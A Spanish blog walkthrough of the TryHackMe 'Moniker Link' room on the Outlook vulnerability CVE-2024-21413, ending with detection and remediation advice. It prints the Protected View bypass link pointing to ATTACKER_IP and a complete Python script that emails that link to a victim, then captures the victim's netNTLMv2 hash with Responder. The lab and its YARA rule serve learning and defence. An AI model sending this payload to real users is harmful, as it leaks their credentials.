Saltar al contenido
Portada » Blog – Laprovittera Carlos » TryHackMe – Moniker Link (CVE-2024-21413)

TryHackMe – Moniker Link (CVE-2024-21413)

Hola hacketones! Bienvenidos a un nuevo CTF para la Certificación SEC1 de la ruta Cyber Security 101 de TryHackMe –  Moniker Link (CVE-2024-21413)

Introducción

El 13 de febrero de 2024, Microsoft anunció una vulnerabilidad de RCE y fuga de credenciales en Microsoft Outlook, con el CVE asignado CVE -2024-21413 (enlace de Moniker). Haifei Li, de Check Point Research, es el responsable del descubrimiento de la vulnerabilidad . La vulnerabilidad evade los mecanismos de seguridad de Outlook al enviar un tipo específico de hipervínculo conocido como Moniker Link. Un atacante puede aprovechar esta vulnerabilidad enviando un correo electrónico con un Moniker Link malicioso a la víctima, lo que provoca que Outlook envíe las credenciales NTLM del usuario al atacante al hacer clic en el hipervínculo. Los detalles relacionados con la puntuación de la vulnerabilidad se proporcionan en la siguiente tabla:

CVSSDescripción
Fecha de publicación13 de febrero de 2024
Artículo de MShttps://msrc.microsoft.com/update-guide/en-US/vulnerability/ CVE -2024-21413
ImpactoEjecución remota de código y fuga de credenciales
GravedadCrítico
Complejidad del ataqueBajo
Tanteo9.8

Se sabe que la vulnerabilidad afecta a las siguientes versiones de Office:

LiberarVersión
Microsoft Office LTSC 2021Afectado desde 19.0.0
Aplicaciones de Microsoft 365 para empresasAfectado desde 16.0.1
Microsoft Office 2019Afectado desde 16.0.1
Microsoft Office 2016Afectado desde 16.0.0 antes de 16.0.5435.1001

Responda las siguientes preguntas

¿Qué nivel de «gravedad» se le ha asignado al CVE?

Critical

Enlace de Moniker (CVE-2024-21413)

Outlook puede procesar correos electrónicos como HTML. Es posible que notes que esto se usa en tus boletines favoritos. Además, Outlook puede analizar hipervínculos como HTTP y HTTPS. Sin embargo, también puede abrir URL que especifican aplicaciones, conocidas como » Enlaces de Moniker» .  Normalmente, Outlook mostrará una advertencia de seguridad cuando se activen aplicaciones externas.

Esta ventana emergente se debe a la «Vista protegida» de Outlook. Esta vista abre los correos electrónicos con archivos adjuntos, hipervínculos y contenido similar en modo de solo lectura, bloqueando elementos como las macros (especialmente las provenientes de fuera de la organización).

Al usar el file://enlace Moniker en nuestro hipervínculo, podemos indicar a Outlook que intente acceder a un archivo, como uno en un recurso compartido de red ( <a href=»file://ATTACKER_IP/test»>Click me</a>). Se utiliza el protocolo SMB , que implica el uso de credenciales locales para la autenticación.  Sin embargo, la «Vista protegida» de Outlook detecta y bloquea este intento.

<p><a href=»file://ATTACKER_MACHINE/test»>Click me</a></p>

La vulnerabilidad se presenta al modificar nuestro hipervínculo para incluir el !carácter especial y texto en nuestro enlace de Moniker, lo que permite eludir la Vista protegida de Outlook. Por ejemplo: <a href=»file://ATTACKER_IP/test!exploit»>Click me</a>.

<p><a href=»file://ATTACKER_MACHINE/test!exploit»>Click me</a></p>

Nosotros, como atacantes, podemos proporcionar un enlace Moniker de este tipo para el ataque. Tenga en cuenta que no es necesario que el recurso compartido exista en el dispositivo remoto, ya que se intentará la autenticación de todos modos, lo que provocará el envío del hash netNTLMv2 de Windows de la víctima al atacante.

La ejecución remota de código ( RCE ) es posible porque Moniker Links utiliza el Modelo de objetos componentes (COM) en Windows. Sin embargo, explicar esto queda fuera del alcance de esta sala, ya que no existe una prueba de concepto pública para lograr la RCE mediante este CVE específico .

Responda las siguientes preguntas

¿Qué tipo de enlace de nombre utilizamos en el hipervínculo?

file://

¿Cuál es el carácter especial que se utiliza para eludir la «Vista protegida» de Outlook?

!

Explotación

Para este ataque, enviaremos a nuestra víctima un enlace Moniker similar al proporcionado en la tarea anterior. El objetivo, como atacante, es crear un correo electrónico con un enlace Moniker que omita la vista protegida de Outlook. El cliente intentará cargar un archivo desde nuestro equipo atacante, lo que resultará en la captura del hash netNTLMv2 de la víctima.

Pero primero, repasemos una PoC que he creado (que también está disponible en GitHub ).

»’

Author: CMNatic | https://github.com/cmnatic

Version: 1.0 | 19/02/2024

»’

import smtplib

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart

from email.utils import formataddr

sender_email = ‘attacker@monikerlink.thm’ # Replace with your sender email address

receiver_email = ‘victim@monikerlink.thm’ # Replace with the recipient email address

password = input(«Enter your attacker email password: «)

html_content = «»»\

<!DOCTYPE html>

<html lang=»en»>

    <p><a href=»file://ATTACKER_MACHINE/test!exploit»>Click me</a></p>

    </body>

</html>»»»

message = MIMEMultipart()

message[‘Subject’] = «CVE-2024-21413»

message[«From»] = formataddr((‘CMNatic’, sender_email))

message[«To»] = receiver_email

# Convert the HTML string into bytes and attach it to the message object

msgHtml = MIMEText(html_content,’html’)

message.attach(msgHtml)

server = smtplib.SMTP(‘MAILSERVER’, 25)

server.ehlo()

try:

    server.login(sender_email, password)

except Exception as err:

    print(err)

    exit(-1)

try:

    server.sendmail(sender_email, [receiver_email], message.as_string())

    print(«\n Email delivered»)

except Exception as error:

    print(error)

finally:

    server.quit()

El PoC :

  • Recibe el correo electrónico del atacante y de la víctima. Normalmente, necesitaría usar su propio servidor SMTP (ya se le ha proporcionado en esta sala).
  • Se requiere la contraseña para autenticarse. Para esta sala, la contraseña para atacante@monikerlink.thm es atacante .
  • Contiene el contenido del correo electrónico (html_content), que contiene nuestro enlace Moniker como un hipervínculo HTML
  • Luego, complete los campos «asunto», «de» y «para» en el correo electrónico.
  • Finalmente, envía el correo electrónico al servidor de correo.

Usemos Responder para crear un receptor SMB en nuestra máquina atacante. Para la THM AttackBox, la interfaz será -I ens5. El nombre de la interfaz variará si usas tu propio dispositivo (por ejemplo, Kali). Si quieres investigar un poco, también puedes usar un servidor Impacket.

Abramos la máquina vulnerable presionando el panel » CVE -2024-21413″ en la vista de pantalla dividida.  

Al finalizar, verá la interfaz de Outlook. Para esta sala, el buzón de la víctima ya está configurado en Outlook.

Regresa a tu AttackBox. Copiaremos y pegaremos la PoC anterior en tu AttackBox.

Para ello, crearemos un nuevo archivo en AttackBox nano exploit.py y usaremos la bandeja deslizable en la vista de pantalla dividida. Consulta el GIF a continuación para ver esto en acción.

Necesitaremos realizar una configuración inicial en nuestra AttackBox antes de ejecutar el script de Python:

  • Modifique el enlace Moniker (línea n.° 12) en nuestro PoC para reflejar la dirección IP de nuestra AttackBox
  • Reemplace el marcador de posición MAILSERVER en la línea n.° 31 con MACHINE_IP

Una vez finalizado, podemos ejecutar el exploit. Cuando se le solicite la contraseña del correo electrónico del atacante, escriba «atacante».

Ejecutando exploit.py

root@attackbox:# python3 exploit.py
Enter your attacker email password: attacker

El script de Python mostrará «Correo electrónico entregado» cuando se haya enviado. Si el script indica un error de autenticación, asegúrese de haber reemplazado correctamente los valores en exploit.py. Ahora, volvamos a la máquina vulnerable y revisemos el nuevo correo electrónico:

Haga clic en el hipervínculo «Haga clic en mí» y regrese a nuestra sesión de terminal «Responder» en AttackBox:

¡Éxito! El hash netNTLMv2 de la víctima se ha capturado en nuestra AttackBox.

Responda las siguientes preguntas

¿Cuál es el nombre de la aplicación que utilizamos en AttackBox para capturar el hash del usuario?

responder

¿Qué tipo de hash se captura una vez que se hace clic en el hipervínculo del correo electrónico?

netNTLMv2

Detección

YARA

Florian Roth ha creado una regla de Yara para detectar correos electrónicos que contienen el elemento en Moniker Link.file:\\

user@yourmachine:# cat cve-2024-21413.yar

rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {

   meta:

      description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"

      author = "X__Junior, Florian Roth"

      reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"

      date = "2024-02-17"

      modified = "2024-02-19"

      score = 75

   strings:

      $a1 = "Subject: "

      $a2 = "Received: "

      $xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/

   condition:

      filesize < 1000KB

      and all of ($a*)

      and 1 of ($xr*)

}

Wireshark

Además, la solicitud SMB de la víctima al cliente se puede ver en una captura de paquetes con un hash netNTLMv2 truncado.

Remediación

Microsoft ha incluido parches para resolver esta vulnerabilidad en la versión «Martes de parches» de febrero. Puede consultar una lista de artículos de Knowledge Base por compilación de Office aquí . Se recomienda encarecidamente actualizar Office mediante Windows Update o el Catálogo de Microsoft Update .

Además, mientras tanto, es un recordatorio oportuno para practicar prácticas generales de ciberseguridad seguras. Por ejemplo, recordar a los usuarios que:

  1. No haga clic en enlaces aleatorios (especialmente de correos electrónicos no solicitados)
  2. Obtenga una vista previa de los enlaces antes de hacer clic en ellos
  3. Reenviar correos electrónicos sospechosos al departamento correspondiente responsable de la ciberseguridad

Dado que esta vulnerabilidad ignora la Vista protegida de Outlook, no es posible reconfigurarlo para evitar este ataque. Además, bloquear el protocolo SMB por completo puede ser más perjudicial que beneficioso, especialmente porque es esencial para acceder a recursos compartidos de red. Sin embargo, es posible bloquearlo a nivel de firewall , según la organización.

Conclusión

¡Felicidades! Eso fue divertido. Como sabemos, Outlook es un cliente de correo electrónico extremadamente popular.CVESe sabe que afecta a una gran parte de la suite Office y, dada su complejidad de ataque extremadamente baja, es una vulnerabilidad bastante peligrosa.

Recuerde que es fundamental actualizar Outlook a través de Windows Update o del Catálogo de actualizaciones de Microsoft lo antes posible, ya que no hay forma de evitar que se eluda la «Vista protegida» de Outlook.

¡Espero que hayas disfrutado de la habitación!

Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *